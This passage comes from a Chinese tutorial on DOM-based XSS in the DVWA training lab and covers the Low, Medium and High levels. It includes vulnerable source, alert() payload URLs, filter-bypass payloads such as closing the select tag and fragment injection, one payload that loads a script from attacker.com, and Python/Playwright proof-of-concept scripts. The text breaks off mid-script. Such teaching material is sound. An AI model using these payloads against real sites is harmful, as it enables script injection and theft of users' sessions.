从客户端到服务端:DVWA DOM 型 XSS 模块完整漏洞分析教程

文章目录

📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 11 篇文章。

一、概述

1、什么是 DOM 型 XSS

DOM 型 XSS(DOM-based Cross-Site Scripting)是一种纯客户端的跨站脚本攻击。与反射型和存储型 XSS 不同,DOM 型 XSS 的恶意代码并不经过服务器,而是在浏览器端通过修改 DOM(Document Object Model)结构来触发。

DOM 型 XSS 的执行流程如下:

text 复制代码
1. 用户访问包含恶意 URL 的链接
         ↓
2. 服务器正常返回 HTML 页面(无恶意代码)
         ↓
3. 浏览器解析页面并执行 JavaScript
         ↓
4. JavaScript 从 URL 中提取恶意参数
         ↓
5. 恶意参数被写入 DOM(如 innerHTML)
         ↓
6. 恶意代码在受害者浏览器中执行 ✅

与反射型 XSS 的核心区别对比如下:

对比维度 反射型 XSS DOM 型 XSS
恶意代码位置 在服务器响应的 HTML 中 在客户端 JavaScript 动态生成
是否经过服务器 ✅ 是(服务器返回恶意代码) ❌ 否(服务器返回正常页面)
检测难度 较低(查看响应源码即可发现) 较高(需分析 JavaScript 逻辑)
防御重点 服务器端输出编码 客户端安全编码

2、DOM 型 XSS 的常见来源

来源 说明 示例
document.URL 当前页面的完整 URL 提取 URL 参数并写入 DOM
document.location 当前页面地址 获取 location.hash 内容
document.referrer 来源页面 URL 来源页面的恶意参数
window.name 窗口名称 通过 window.name 传递恶意代码
location.search URL 查询参数 ?default=

二、LOW 级别 ------ 无任何防护

1、漏洞描述

LOW 级别未对用户输入做任何检查或过滤,直接将 URL 参数写入页面 DOM 中,攻击者可借此注入并执行任意恶意代码。

该级别存在以下核心问题:

  • 无任何输入验证或过滤
  • 直接从 document.URL 提取参数并写入 DOM
  • 攻击者可构造任意恶意 JavaScript 代码

2、查看网页源代码

PHP 代码(source/low.php):

php 复制代码
<?php

# No protections, anything goes

?>

JavaScript 代码(页面中):

javascript 复制代码
					if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");
				

3、分析网页源代码

(1)代码概述

LOW 级别的 DOM 型 XSS 漏洞源于客户端 JavaScript,其核心逻辑如下:

  • 使用 document.URL 获取当前页面的完整 URL
  • 使用 split('=')1 提取 default 参数的值
  • 使用 document.write() 直接将参数值写入 DOM
  • 全程没有任何输入验证、过滤或编码
    (2)漏洞分析

漏洞一 ------ 完全无输入过滤

问题分析:default 参数的值未经任何验证或过滤便直接写入 DOM,攻击者可借此构造包含恶意 JavaScript 的 URL,从而在受害者浏览器中执行任意代码。

漏洞二 ------ 使用 document.write() 写入 DOM

问题分析:document.write() 会直接解析 HTML 标签,攻击者可借此注入 <script> 标签或事件处理器,实现脚本执行。

漏洞三 ------ 攻击者只需诱导用户点击恶意链接

问题分析:攻击者只需构造恶意 URL,诱导用户点击即可触发攻击。

4、操作步骤

(1)正常访问页面

登录 DVWA,将安全级别设置为 Low,随后进入 XSS (DOM) 页面,观察页面中的下拉选择框。

预期结果:页面显示一个下拉选择框,并包含默认选项。

(2)观察 URL 参数对页面的影响

在浏览器地址栏中,修改 default 参数的值:

text 复制代码
http://dvwa.cc/vulnerabilities/xss_d/?default=French

预期结果:下拉选择框中显示 French。

(3)构造 DOM 型 XSS 攻击

Payload 1:注入 <script> 标签

text 复制代码
http://dvwa.cc/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>

预期结果:弹窗显示 XSS。

Payload 2:使用 <img> 标签的错误事件

text 复制代码
http://dvwa.cc/vulnerabilities/xss_d/?default=<img src=x onerror=alert('XSS')>

预期结果:弹窗显示 XSS。

Payload 3:注入恶意外部脚本

text 复制代码
http://dvwa.cc/vulnerabilities/xss_d/?default=<script src=http://attacker.com/malicious.js></script>

预期结果:浏览器加载并执行恶意脚本。

(4)使用 document.write 的局限

由于 document.write() 是在页面解析过程中同步执行的,若在页面加载完成后调用,它会清空并重写整个文档 ,导致页面内容被覆盖。因此,攻击者需要让恶意脚本在页面解析阶段(即 document.write() 执行时)触发,或者改用 innerHTMLeval() 等其他 DOM 操作方式来注入并执行恶意代码。

5、 Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA DOM-Based XSS (vulnerabilities/xss_d) 检测 PoC - Low 级别
仅用于授权的安全测试/教学环境(DVWA 自身即为漏洞训练平台)。

用法:
    python dvwa_xss_d_poc.py -t http://dvwa.cc -u admin -p password
    python dvwa_xss_d_poc.py -t http://dvwa.cc -u admin -p password --browser   # 浏览器实弹验证

依赖:
    pip install requests
    pip install playwright && playwright install chromium   # 仅 --browser 模式需要
"""

import argparse
import re
import sys
from urllib.parse import quote, urlparse

import requests

LOGIN_PATH = "/login.php"
VULN_PATH = "/vulnerabilities/xss_d/"

# Low 级别测试 payload(无任何过滤)
PAYLOADS = [
    "<script>alert('XSS')</script>",
    "<img src=x onerror=alert('XSS')>",
]

# DOM XSS sink 特征:页面 JS 从 URL 读取参数并通过 document.write 写入 DOM
SINK_PATTERNS = [
    r"document\.write\s*\(",
    r"(document\.)?location\.(search|href)",
]

SEP = "-" * 50


class DVWADomXPoC:
    def __init__(self, base_url, username, password, verify=False):
        self.base = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.verify = verify
        self.session = requests.Session()
        self.session.headers["User-Agent"] = "Mozilla/5.0 (DVWA-XSS-PoC)"

    def login(self):
        url = self.base + LOGIN_PATH
        r = self.session.get(url, verify=self.verify, timeout=10)
        m = re.search(r"user_token'\s*value='([0-9a-f]+)'", r.text)
        token = m.group(1) if m else ""
        r = self.session.post(
            url,
            data={
                "username": self.username,
                "password": self.password,
                "user_token": token,
                "Login": "Login",
            },
            verify=self.verify,
            timeout=10,
            allow_redirects=True,
        )
        if "Login failed" in r.text:
            return False
        # 设置 Low 级别
        self.session.cookies.set("security", "low", domain=self._domain())
        return True

    def _domain(self):
        return urlparse(self.base).hostname or ""

    def detect(self, payload):
        """
        DOM XSS 的 payload 不会被服务器回显,而是由前端 JS 读取后写入 DOM。
        因此检测逻辑为:确认页面存在 sink(location.search 取参 + document.write),
        即恶意 URL 中的 payload 会被写入页面。
        """
        url = f"{self.base}{VULN_PATH}?default={quote(payload, safe='')}"
        r = self.session.get(url, verify=self.verify, timeout=10)
        has_sink = all(re.search(p, r.text) for p in SINK_PATTERNS)
        return url, has_sink

    def run(self):
        print()
        for payload in PAYLOADS:
            print(f"[*] 目标地址: {self.base}{VULN_PATH}")
            print(f"[*] 攻击 Payload: {payload}")
            print(SEP)
            url, ok = self.detect(payload)
            print(f"[+] 生成的恶意 URL: {url}")
            if ok:
                print("[+] 检测到 Payload 被写入页面!")
                print("[+] 确认存在 DOM 型 XSS 漏洞")
            else:
                print("[-] 未检测到可利用的 DOM XSS sink")
            print(SEP)

    def run_browser(self):
        """Playwright 实弹验证:监听 dialog 事件,确认 payload 真正执行"""
        try:
            from playwright.sync_api import sync_playwright
        except ImportError:
            print("[-] --browser 需要: pip install playwright && playwright install chromium")
            return
        print("\n=== 浏览器实弹验证 ===")
        with sync_playwright() as p:
            browser = p.chromium.launch(headless=True)
            page = browser.new_page()
            # 登录
            page.goto(self.base + LOGIN_PATH)
            page.fill("input[name='username']", self.username)
            page.fill("input[name='password']", self.password)
            page.click("input[name='Login']")
            page.context.add_cookies(
                [{"name": "security", "value": "low", "url": self.base}]
            )
            for payload in PAYLOADS:
                fired = {"done": False}

                def _on_dialog(d):
                    fired["done"] = True
                    d.dismiss()

                page.on("dialog", _on_dialog)
                page.goto(f"{self.base}{VULN_PATH}?default={quote(payload, safe='')}")
                page.wait_for_timeout(1500)
                print(f"[*] Payload: {payload}")
                if fired["done"]:
                    print("[+] alert 弹窗触发,Payload 成功执行!")
                else:
                    print("[-] 未触发弹窗")
                page.remove_listener("dialog", _on_dialog)
            browser.close()


def main():
    ap = argparse.ArgumentParser(description="DVWA DOM XSS (xss_d) Low 级别检测 PoC")
    ap.add_argument("-t", "--target", required=True, help="例如 http://dvwa.cc")
    ap.add_argument("-u", "--user", default="admin")
    ap.add_argument("-p", "--password", default="password")
    ap.add_argument("--browser", action="store_true", help="使用 playwright 实弹验证")
    args = ap.parse_args()

    poc = DVWADomXPoC(args.target, args.user, args.password)
    if not poc.login():
        print("[-] 登录失败,请检查账号密码")
        sys.exit(1)
    print(f"[+] 登录成功: {args.user}")
    poc.run()
    if args.browser:
        poc.run_browser()
    print("\n[完成] 仅用于授权测试环境。")


if __name__ == "__main__":
    main()

脚本说明与运行结果:

由于 DOM XSS 的 payload 不会被服务器回显,传统的"反射检测"(在响应 HTML 中查找 payload)会误报为不存在漏洞。因此本脚本采用 Sink 特征检测

  1. 构造带有恶意 payload 的 URL 并请求目标页面;
  2. 检查响应中是否同时存在以下两类特征:
    • document.write(------ 危险输出函数;
    • location.search / location.href ------ 从 URL 读取参数;
  3. 两者同时存在,说明页面存在完整的 Source → Sink 数据流,URL 中的 payload 会被前端 JS 写入页面,判定漏洞存在。

6、AI 视角下的 DOM XSS 检测

(1)基于 DOM 结构的异常检测

传统的 DOM XSS 检测依赖人工分析 JavaScript 代码,而 AI 可以辅助实现自动化的 DOM 污染检测。安全代码与存在漏洞的代码在关键特征上差异明显:

特征维度 安全代码 DOM XSS 漏洞代码
数据来源 仅信任内部数据 使用 document.URL、location.hash 等外部来源
写入方式 使用 textContent、setAttribute 使用 innerHTML、document.write()
编码处理 有编码/过滤 无编码/过滤

具体的技术实现方案包括:

  • 数据流追踪:使用静态分析追踪数据从来源到输出的完整路径;
  • Taint 分析:将来自用户输入的数据标记为"不可信",并追踪其传播路径;
  • 危险函数检测:检测 innerHTML、document.write()、eval() 等危险函数的使用情况。

(2)AI 辅助的 URL 参数分析

  • 参数模式识别:检测 URL 参数中是否包含可疑的 JavaScript 代码;
  • 编码检测:识别 URL 编码、Base64 编码等混淆手法;
  • 攻击模式匹配:使用机器学习识别已知的 XSS Payload 模式。

7、LOW 级别 ------ 小结

LOW 级别未部署任何安全防护措施,攻击者只需构造恶意 URL,即可直接注入并执行任意 JavaScript 代码。

该级别暴露的核心问题可归纳为以下三点:

  • 无任何输入验证或过滤:URL 参数未经检查便直接进入页面逻辑;
  • 使用 document.write() 直接写入 DOM:危险输出函数为脚本注入提供了通道;
  • 攻击者只需诱导用户点击恶意链接:一次点击即可触发完整攻击链。

三、MEDIUM 级别 ------ 服务器端关键词过滤

1、漏洞描述

MEDIUM 级别在服务器端对 default 参数进行了关键词过滤,仅检查参数中是否包含 <script 标签。

核心机制:

  • 使用 stripos($default, "<script") 检查参数是否包含 <script 标签;
  • 如果包含,则重定向到 ?default=English

核心问题:

  • 仅检查 <script 标签,其他 HTML 标签和事件处理器未被过滤;
  • 攻击者可以使用 <img><svg> 等标签绕过过滤;
  • 过滤发生在服务器端,但 DOM XSS 的触发点在客户端,防护存在错位。

2、查看网页源代码

PHP 代码(source/medium.php):

php 复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

JavaScript 代码(页面中):

javascript 复制代码
					
					if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");
				
				

3、分析网页源代码

(1)代码概述

MEDIUM 级别在服务器端添加了关键词过滤,其处理流程如下:

  • $_GET 获取 default 参数;
  • 使用 stripos() 检查参数中是否包含 <script(不区分大小写);
  • 如果包含,则重定向到 ?default=English 并退出;
  • 如果通过检查,页面 JavaScript 将参数写入 DOM。

(2)漏洞分析

① 漏洞一 ------ 黑名单不完整

问题分析:仅过滤 <script 标签,但攻击者可以使用其他 HTML 标签绕过过滤,具体如下:

标签 示例 是否被过滤
<script> <script>alert(1)</script> ✅ 被过滤
<img> <img src=x onerror=alert(1)> ❌ 未过滤
<svg> <svg onload=alert(1)> ❌ 未过滤
<body> <body onload=alert(1)> ❌ 未过滤
<iframe> <iframe src=javascript:alert(1)> ❌ 未过滤

② 漏洞二 ------ 大小写绕过

问题分析:虽然使用了 stripos() 不区分大小写,但攻击者仍可尝试其他标签或编码方式绕过过滤。

③ 漏洞三 ------ 服务器端过滤不彻底

问题分析:过滤在服务器端进行,但 DOM XSS 的根源在客户端 JavaScript。即使服务器端过滤了 <script>,客户端仍然直接将 URL 参数写入 DOM,攻击面并未真正收敛。

4、操作步骤

(1)测试 <script> 标签(被过滤)

text 复制代码
http://dvwa.cc/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>

预期结果:页面重定向到 ?default=English,弹窗未触发。

(2)使用 <img> 标签绕过

text 复制代码
http://dvwa.cc/vulnerabilities/xss_d/?default=<img src=x onerror=alert('XSS')>

预期结果:弹窗显示 XSS(未被过滤)。

(3)其他绕过方式

Payload 效果
<svg onload=alert('XSS')> SVG 标签的 onload 事件
<body onload=alert('XSS')> Body 标签的 onload 事件
<iframe src=javascript:alert('XSS')> iframe 的 src 属性
<input onfocus=alert('XSS') autofocus> 输入框的 onfocus 事件

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA DOM-Based XSS (vulnerabilities/xss_d) 检测 PoC - Medium 级别
仅用于授权的安全测试/教学环境(DVWA 自身即为漏洞训练平台)。

Medium 防护机制:
    服务端用 stripos() 检查 default 参数是否含 "<script"(不区分大小写),
    命中则 302 重定向到 ?default=English,注入失效。

绕过思路:
    1. 黑名单只拦 <script,改用 <img src=x onerror=...> 事件标签;
    2. 输出点位于 <select> 内部,浏览器不执行 select 中的 <img>,
       需先闭合 </option></select> 使标签脱离 select 容器。

用法:
    python dvwa_xss_d_poc_medium.py -t http://dvwa.cc -u admin -p password
    python dvwa_xss_d_poc_medium.py -t http://dvwa.cc -u admin -p password --browser

依赖:
    pip install requests
    pip install playwright && playwright install chromium   # 仅 --browser 模式需要
"""

import argparse
import re
import sys
from urllib.parse import quote, urlparse

import requests

LOGIN_PATH = "/login.php"
VULN_PATH = "/vulnerabilities/xss_d/"

# 第 1 个 payload 用于验证 Medium 过滤规则生效;第 2 个为绕过 payload
PAYLOADS = [
    "<script>alert('XSS')</script>",                        # 会被过滤(触发 302)
    "></option></select><img src=x onerror=alert('XSS')>",  # 绕过 payload
]

# DOM XSS sink 特征:页面 JS 从 URL 读取参数并通过 document.write 写入 DOM
SINK_PATTERNS = [
    r"document\.write\s*\(",
    r"(document\.)?location\.(search|href)",
]

SEP = "-" * 50


class DVWADomXPoCMedium:
    def __init__(self, base_url, username, password, verify=False):
        self.base = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.verify = verify
        self.session = requests.Session()
        self.session.headers["User-Agent"] = "Mozilla/5.0 (DVWA-XSS-PoC)"

    def login(self):
        url = self.base + LOGIN_PATH
        r = self.session.get(url, verify=self.verify, timeout=10)
        m = re.search(r"user_token'\s*value='([0-9a-f]+)'", r.text)
        token = m.group(1) if m else ""
        r = self.session.post(
            url,
            data={
                "username": self.username,
                "password": self.password,
                "user_token": token,
                "Login": "Login",
            },
            verify=self.verify,
            timeout=10,
            allow_redirects=True,
        )
        if "Login failed" in r.text:
            return False
        # 设置 Medium 级别
        self.session.cookies.set("security", "medium", domain=self._domain())
        return True

    def _domain(self):
        return urlparse(self.base).hostname or ""

    def detect(self, payload):
        """
        Medium 级别检测逻辑:
        - allow_redirects=False 捕获服务端 302:
          命中 "<script" 黑名单会重定向到 ?default=English → payload 被拦截;
        - 未被拦截且页面存在 sink(document.write + location.search):
          payload 进入前端 JS 数据流将被写入 DOM → 绕过成功。
        返回 (恶意URL, 状态, 响应对象),状态: filtered / bypass / no_sink
        """
        url = f"{self.base}{VULN_PATH}?default={quote(payload, safe='')}"
        r = self.session.get(
            url, verify=self.verify, timeout=10, allow_redirects=False
        )
        # Medium 过滤规则:含 <script 关键字 → 302 重定向到 default=English
        if r.status_code in (301, 302) and "default=English" in r.headers.get("Location", ""):
            return url, "filtered", r
        has_sink = all(re.search(p, r.text) for p in SINK_PATTERNS)
        return url, ("bypass" if has_sink else "no_sink"), r

    def run(self):
        print()
        for payload in PAYLOADS:
            print(f"[*] 目标地址: {self.base}{VULN_PATH}")
            print(f"[*] 攻击 Payload: {payload}")
            print(SEP)
            url, status, _ = self.detect(payload)
            print(f"[+] 生成的恶意 URL: {url}")
            if status == "filtered":
                print("[-] Payload 被 Medium 过滤规则拦截")
                print("[-] 检测到 <script 关键字,服务端已 302 重定向至 ?default=English")
            elif status == "bypass":
                print("[+] Payload 绕过服务端过滤,成功传入页面!")
                print("[+] 确认存在 DOM 型 XSS 漏洞(Medium 级别绕过成功)")
            else:
                print("[-] 未检测到可利用的 DOM XSS sink")
            print(SEP)

    def run_browser(self):
        """Playwright 实弹验证:监听 dialog 事件,确认 payload 真正执行"""
        try:
            from playwright.sync_api import sync_playwright
        except ImportError:
            print("[-] --browser 需要: pip install playwright && playwright install chromium")
            return
        print("\n=== 浏览器实弹验证 ===")
        with sync_playwright() as p:
            browser = p.chromium.launch(headless=True)
            page = browser.new_page()
            # 登录
            page.goto(self.base + LOGIN_PATH)
            page.fill("input[name='username']", self.username)
            page.fill("input[name='password']", self.password)
            page.click("input[name='Login']")
            page.context.add_cookies(
                [{"name": "security", "value": "medium", "url": self.base}]
            )
            for payload in PAYLOADS:
                fired = {"done": False}

                def _on_dialog(d):
                    fired["done"] = True
                    d.dismiss()

                page.on("dialog", _on_dialog)
                page.goto(f"{self.base}{VULN_PATH}?default={quote(payload, safe='')}")
                page.wait_for_timeout(1500)
                print(f"[*] Payload: {payload}")
                if fired["done"]:
                    print("[+] alert 弹窗触发,Payload 成功执行!")
                else:
                    print("[-] 未触发弹窗(被过滤或未执行)")
                page.remove_listener("dialog", _on_dialog)
            browser.close()


def main():
    ap = argparse.ArgumentParser(description="DVWA DOM XSS (xss_d) Medium 级别检测 PoC")
    ap.add_argument("-t", "--target", required=True, help="例如 http://dvwa.cc")
    ap.add_argument("-u", "--user", default="admin")
    ap.add_argument("-p", "--password", default="password")
    ap.add_argument("--browser", action="store_true", help="使用 playwright 实弹验证")
    args = ap.parse_args()

    poc = DVWADomXPoCMedium(args.target, args.user, args.password)
    if not poc.login():
        print("[-] 登录失败,请检查账号密码")
        sys.exit(1)
    print(f"[+] 登录成功: {args.user}")
    poc.run()
    if args.browser:
        poc.run_browser()
    print("\n[完成] 仅用于授权测试环境。")


if __name__ == "__main__":
    main()

脚本说明和运行结果:

Medium 级别的防护仅在服务端通过 stripos() 检查 default 参数是否包含 <script 关键字(不区分大小写),一旦命中便 302 重定向至 ?default=English。由于 DOM XSS 的 payload 依然不会被服务器回显,本脚本采用「过滤拦截验证 + Sink 特征检测」相结合的方式:

  1. allow_redirects=False 请求携带恶意 payload 的 URL,捕获服务端的重定向行为:若响应为 302 且 Location 指向 ?default=English,说明 payload 命中 <script 黑名单被拦截,Medium 防护生效;
  2. 若未被重定向(返回 200),则进一步检查响应中是否同时存在以下两类特征:
    • document.write( ------ 危险输出函数;
    • location.search / location.href ------ 从 URL 读取参数;
  3. 未被拦截且两类特征同时存在,说明绕过 payload(></option></select><img src=x onerror=alert('XSS')>)已进入前端 Source → Sink 数据流,将被 document.write 写入页面执行,判定 Medium 级别绕过成功、漏洞存在。

6、AI 视角下的 DOM XSS 检测

(1)黑名单的智能化改进

MEDIUM 级别的黑名单仅过滤 <script>,AI 可辅助构建智能黑名单:

  • 模式泛化 :从 <script> 泛化到所有危险标签和事件处理器;
  • 上下文感知:根据 JavaScript 代码的上下文,判断输入是否可能被执行;
  • 动态更新:从攻击日志中自动提取新的绕过模式。

(2)基于语法的 XSS Payload 检测

  • 标签识别:识别 HTML 标签结构,检测危险标签;
  • 事件处理器检测 :检测 onerroronloadonfocus 等事件;
  • 协议检测 :检测 javascript:data: 等危险协议。

7、MEDIUM 级别 ------ 小结

MEDIUM 级别通过服务器端过滤阻止了 <script> 标签,但黑名单并不完整:

  • 仅过滤 <script>,其他标签和事件处理器未被过滤;
  • 攻击者可以使用 <img><svg> 等标签绕过过滤;
  • 服务器端过滤无法解决客户端 DOM 操作带来的安全问题。

一句话总结:MEDIUM 级别的黑名单过滤是一种弱防护,攻击者只需更换一个标签即可轻松绕过。

四、HIGH 级别 ------ 服务器端白名单验证

1、漏洞描述

HIGH 级别在服务器端采用了白名单验证机制,仅允许 FrenchEnglishGermanSpanish 四个预定义值。

核心机制:

  • 使用 switch 语句检查 default 参数的值;
  • 仅放行四个预定义的语言值;
  • 其他值一律重定向到 ?default=English

安全价值: 白名单验证是防御 XSS 的有效手段,但关键问题在于:服务器端验证无法阻止客户端 DOM 操作中存在的漏洞。

2、查看网页源代码

PHP 代码(source/high.php):

php 复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

JavaScript 代码(页面中):

javascript 复制代码
					if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");
				

3、分析网页源代码

(1)代码概述

HIGH 级别在服务器端采用了白名单验证机制,其处理流程如下:

  • $_GET 获取 default 参数;
  • 使用 switch 语句检查参数值是否在白名单中;
  • 白名单仅包含 FrenchEnglishGermanSpanish 四个预定义值;
  • 不在白名单中的值一律重定向到 ?default=English

(2)漏洞分析

① 漏洞一 ------ 白名单在服务器端,DOM 操作在客户端

问题分析:虽然服务器端限制了 default 参数的值,但客户端的 JavaScript 仍然会从 URL 中提取参数并写入 DOM。服务器端验证无法阻止客户端直接操作 document.URL

② 漏洞二 ------ 白名单无法覆盖客户端 DOM 操作

问题分析:HIGH 级别的白名单采用 switch 精确匹配,URL 编码、双重编码等方式无法绕过(如 %46rench 不会匹配 French,会被重定向)。但真正的风险在于:即使参数值被限制在白名单内,客户端 JavaScript 仍会从 URL 中提取参数并写入 DOM,攻击者可通过修改 URL 的 fragment(如 # 后的内容)或其他客户端可控数据来触发 DOM XSS。

③ 漏洞三 ------ 服务器端白名单与客户端防护脱节

问题分析:白名单验证只约束了服务器端,而 DOM XSS 的触发点在客户端。客户端 JavaScript 仍然直接信任 URL 参数并写入 DOM,服务器端白名单无法覆盖这一攻击面,防护重心存在错位。

4、操作步骤

(1)正常访问白名单值

在浏览器地址栏中,访问白名单内的语言值:

text 复制代码
http://dvwa.cc/vulnerabilities/xss_d/?default=French

预期结果:页面正常显示 French。

(2)尝试非白名单值(被拒绝)

在浏览器地址栏中,访问一个不在白名单内的语言值:

text 复制代码
http://dvwa.cc/vulnerabilities/xss_d/?default=Italian

预期结果:页面重定向到 ?default=English

(3)尝试绕过白名单

Payload 结果 说明
French<script>alert(1)</script> 重定向 不在白名单中
French%00 重定向 空字节截断无效
French?param=value 重定向 参数被整体匹配

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA DOM-Based XSS (vulnerabilities/xss_d) 检测 PoC - High 级别
仅用于授权的安全测试/教学环境(DVWA 自身即为漏洞训练平台)。

High 防护机制:
    服务端对 default 参数做白名单校验(switch 语句,仅允许
    French/English/German/Spanish),不在白名单则 302 重定向到 ?default=English。

绕过思路(fragment 绕过):
    URL 中 # 后面的 fragment 部分不会被浏览器发送到服务器,
    因此请求 ?default=English#<img src=x onerror=alert('XSS')> 时,
    服务端只收到 default=English(白名单校验通过);
    而前端 JS 若从 document.location.href 截取 "default=" 之后的全部内容,
    # 后的 payload 会被一并写入 DOM 执行。

用法:
    python dvwa_xss_d_poc_high.py -t http://dvwa.cc -u admin -p password
    python dvwa_xss_d_poc_high.py -t http://dvwa.cc -u admin -p password --browser

依赖:
    pip install requests
    pip install playwright && playwright install chromium   # 仅 --browser 模式需要
"""

import argparse
import re
import sys
from urllib.parse import quote, urlparse

import requests

LOGIN_PATH = "/login.php"
VULN_PATH = "/vulnerabilities/xss_d/"

# 第 1 个 payload 用于验证白名单过滤生效;第 2 个为 fragment 绕过 payload
PAYLOADS = [
    "<script>alert('XSS')</script>",               # 会被白名单拦截(触发 302)
    "English#<img src=x onerror=alert('XSS')>",    # fragment 绕过 payload
]

# 高危 sink:JS 从 location.href(完整 URL,含 #fragment)读取 default 参数
SINK_HREF_PATTERN = r"(document\.)?location\.href"
SINK_WRITE_PATTERN = r"document\.write\s*\("

SEP = "-" * 50


class DVWADomXPoCHigh:
    def __init__(self, base_url, username, password, verify=False):
        self.base = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.verify = verify
        self.session = requests.Session()
        self.session.headers["User-Agent"] = "Mozilla/5.0 (DVWA-XSS-PoC)"

    def login(self):
        url = self.base + LOGIN_PATH
        r = self.session.get(url, verify=self.verify, timeout=10)
        m = re.search(r"user_token'\s*value='([0-9a-f]+)'", r.text)
        token = m.group(1) if m else ""
        r = self.session.post(
            url,
            data={
                "username": self.username,
                "password": self.password,
                "user_token": token,
                "Login": "Login",
            },
            verify=self.verify,
            timeout=10,
            allow_redirects=True,
        )
        if "Login failed" in r.text:
            return False
        # 设置 High 级别
        self.session.cookies.set("security", "high", domain=self._domain())
        return True

    def _domain(self):
        return urlparse(self.base).hostname or ""

    def check_filter(self, payload):
        """
        白名单拦截验证: default 值不在白名单(French/English/German/Spanish)时,
        服务端 302 重定向到 ?default=English。
        返回 (恶意URL, 状态, 响应对象),状态: filtered / passed
        """
        url = f"{self.base}{VULN_PATH}?default={quote(payload, safe='')}"
        r = self.session.get(
            url, verify=self.verify, timeout=10, allow_redirects=False
        )
        if r.status_code in (301, 302) and "default=English" in r.headers.get("Location", ""):
            return url, "filtered", r
        return url, "passed", r

    def detect_bypass(self):
        """
        fragment 绕过检测:
        - # 后内容不会被发送到服务器,因此只向服务器请求 ?default=English;
        - 若返回 200,说明白名单校验被 fragment 技巧绕过;
        - 再检查页面 JS 是否从 location.href(含 # 内容)截取参数并通过
          document.write 写入 DOM,若成立则 payload 必然执行。
        返回 (恶意URL, 状态, 响应对象),状态: bypass / no_href_sink / filtered
        """
        bypass_frag = "#<img src=x onerror=alert('XSS')>"
        server_url = f"{self.base}{VULN_PATH}?default=English"
        r = self.session.get(
            server_url, verify=self.verify, timeout=10, allow_redirects=False
        )
        if r.status_code in (301, 302):
            return server_url, "filtered", r
        # 页面 JS 是否使用 location.href 作为污染源(href 包含 # fragment)
        uses_href = re.search(SINK_HREF_PATTERN, r.text)
        has_write = re.search(SINK_WRITE_PATTERN, r.text)
        evil_url = f"{self.base}{VULN_PATH}?default=English{quote(bypass_frag, safe='#')}"
        if uses_href and has_write:
            return evil_url, "bypass", r
        return server_url, "no_href_sink", r

    def run(self):
        print()
        # --- 测试 1: 验证白名单过滤 ---
        payload = PAYLOADS[0]
        print(f"[*] 目标地址: {self.base}{VULN_PATH}")
        print(f"[*] 攻击 Payload: {payload}")
        print(SEP)
        url, status, _ = self.check_filter(payload)
        print(f"[+] 生成的恶意 URL: {url}")
        if status == "filtered":
            print("[-] Payload 被 High 白名单拦截")
            print("[-] default 不在白名单(French/English/German/Spanish),已 302 重定向至 ?default=English")
        print(SEP)
        # --- 测试 2: fragment 绕过 ---
        payload = PAYLOADS[1]
        print(f"[*] 目标地址: {self.base}{VULN_PATH}")
        print(f"[*] 攻击 Payload: {payload}")
        print(SEP)
        url, status, _ = self.detect_bypass()
        print(f"[+] 生成的恶意 URL: {url}")
        if status == "bypass":
            print("[+] #fragment 不会发送至服务器,default=English 已通过白名单校验!")
            print("[+] 页面 JS 从 location.href 读取参数,# 后内容将被写入 DOM!")
            print("[+] 确认存在 DOM 型 XSS 漏洞(High 级别 fragment 绕过成功)")
        elif status == "no_href_sink":
            print("[-] 页面 JS 从 location.search 读取参数,# fragment 不可控")
            print("[-] 该 DVWA 版本不适用 fragment 绕过")
        else:
            print("[-] 绕过失败,payload 被拦截")
        print(SEP)

    def run_browser(self):
        """Playwright 实弹验证:访问含 fragment 的恶意 URL,监听 alert 弹窗"""
        try:
            from playwright.sync_api import sync_playwright
        except ImportError:
            print("[-] --browser 需要: pip install playwright && playwright install chromium")
            return
        print("\n=== 浏览器实弹验证 ===")
        with sync_playwright() as p:
            browser = p.chromium.launch(headless=True)
            page = browser.new_page()
            # 登录
            page.goto(self.base + LOGIN_PATH)
            page.fill("input[name='username']", self.username)
            page.fill("input[name='password']", self.password)
            page.click("input[name='Login']")
            page.context.add_cookies(
                [{"name": "security", "value": "high", "url": self.base}]
            )
            evil_url = f"{self.base}{VULN_PATH}?default=English#<img src=x onerror=alert('XSS')>"
            fired = {"done": False}

            def _on_dialog(d):
                fired["done"] = True
                d.dismiss()

            page.on("dialog", _on_dialog)
            page.goto(evil_url)
            page.wait_for_timeout(1500)
            print(f"[*] Payload: English#<img src=x onerror=alert('XSS')>")
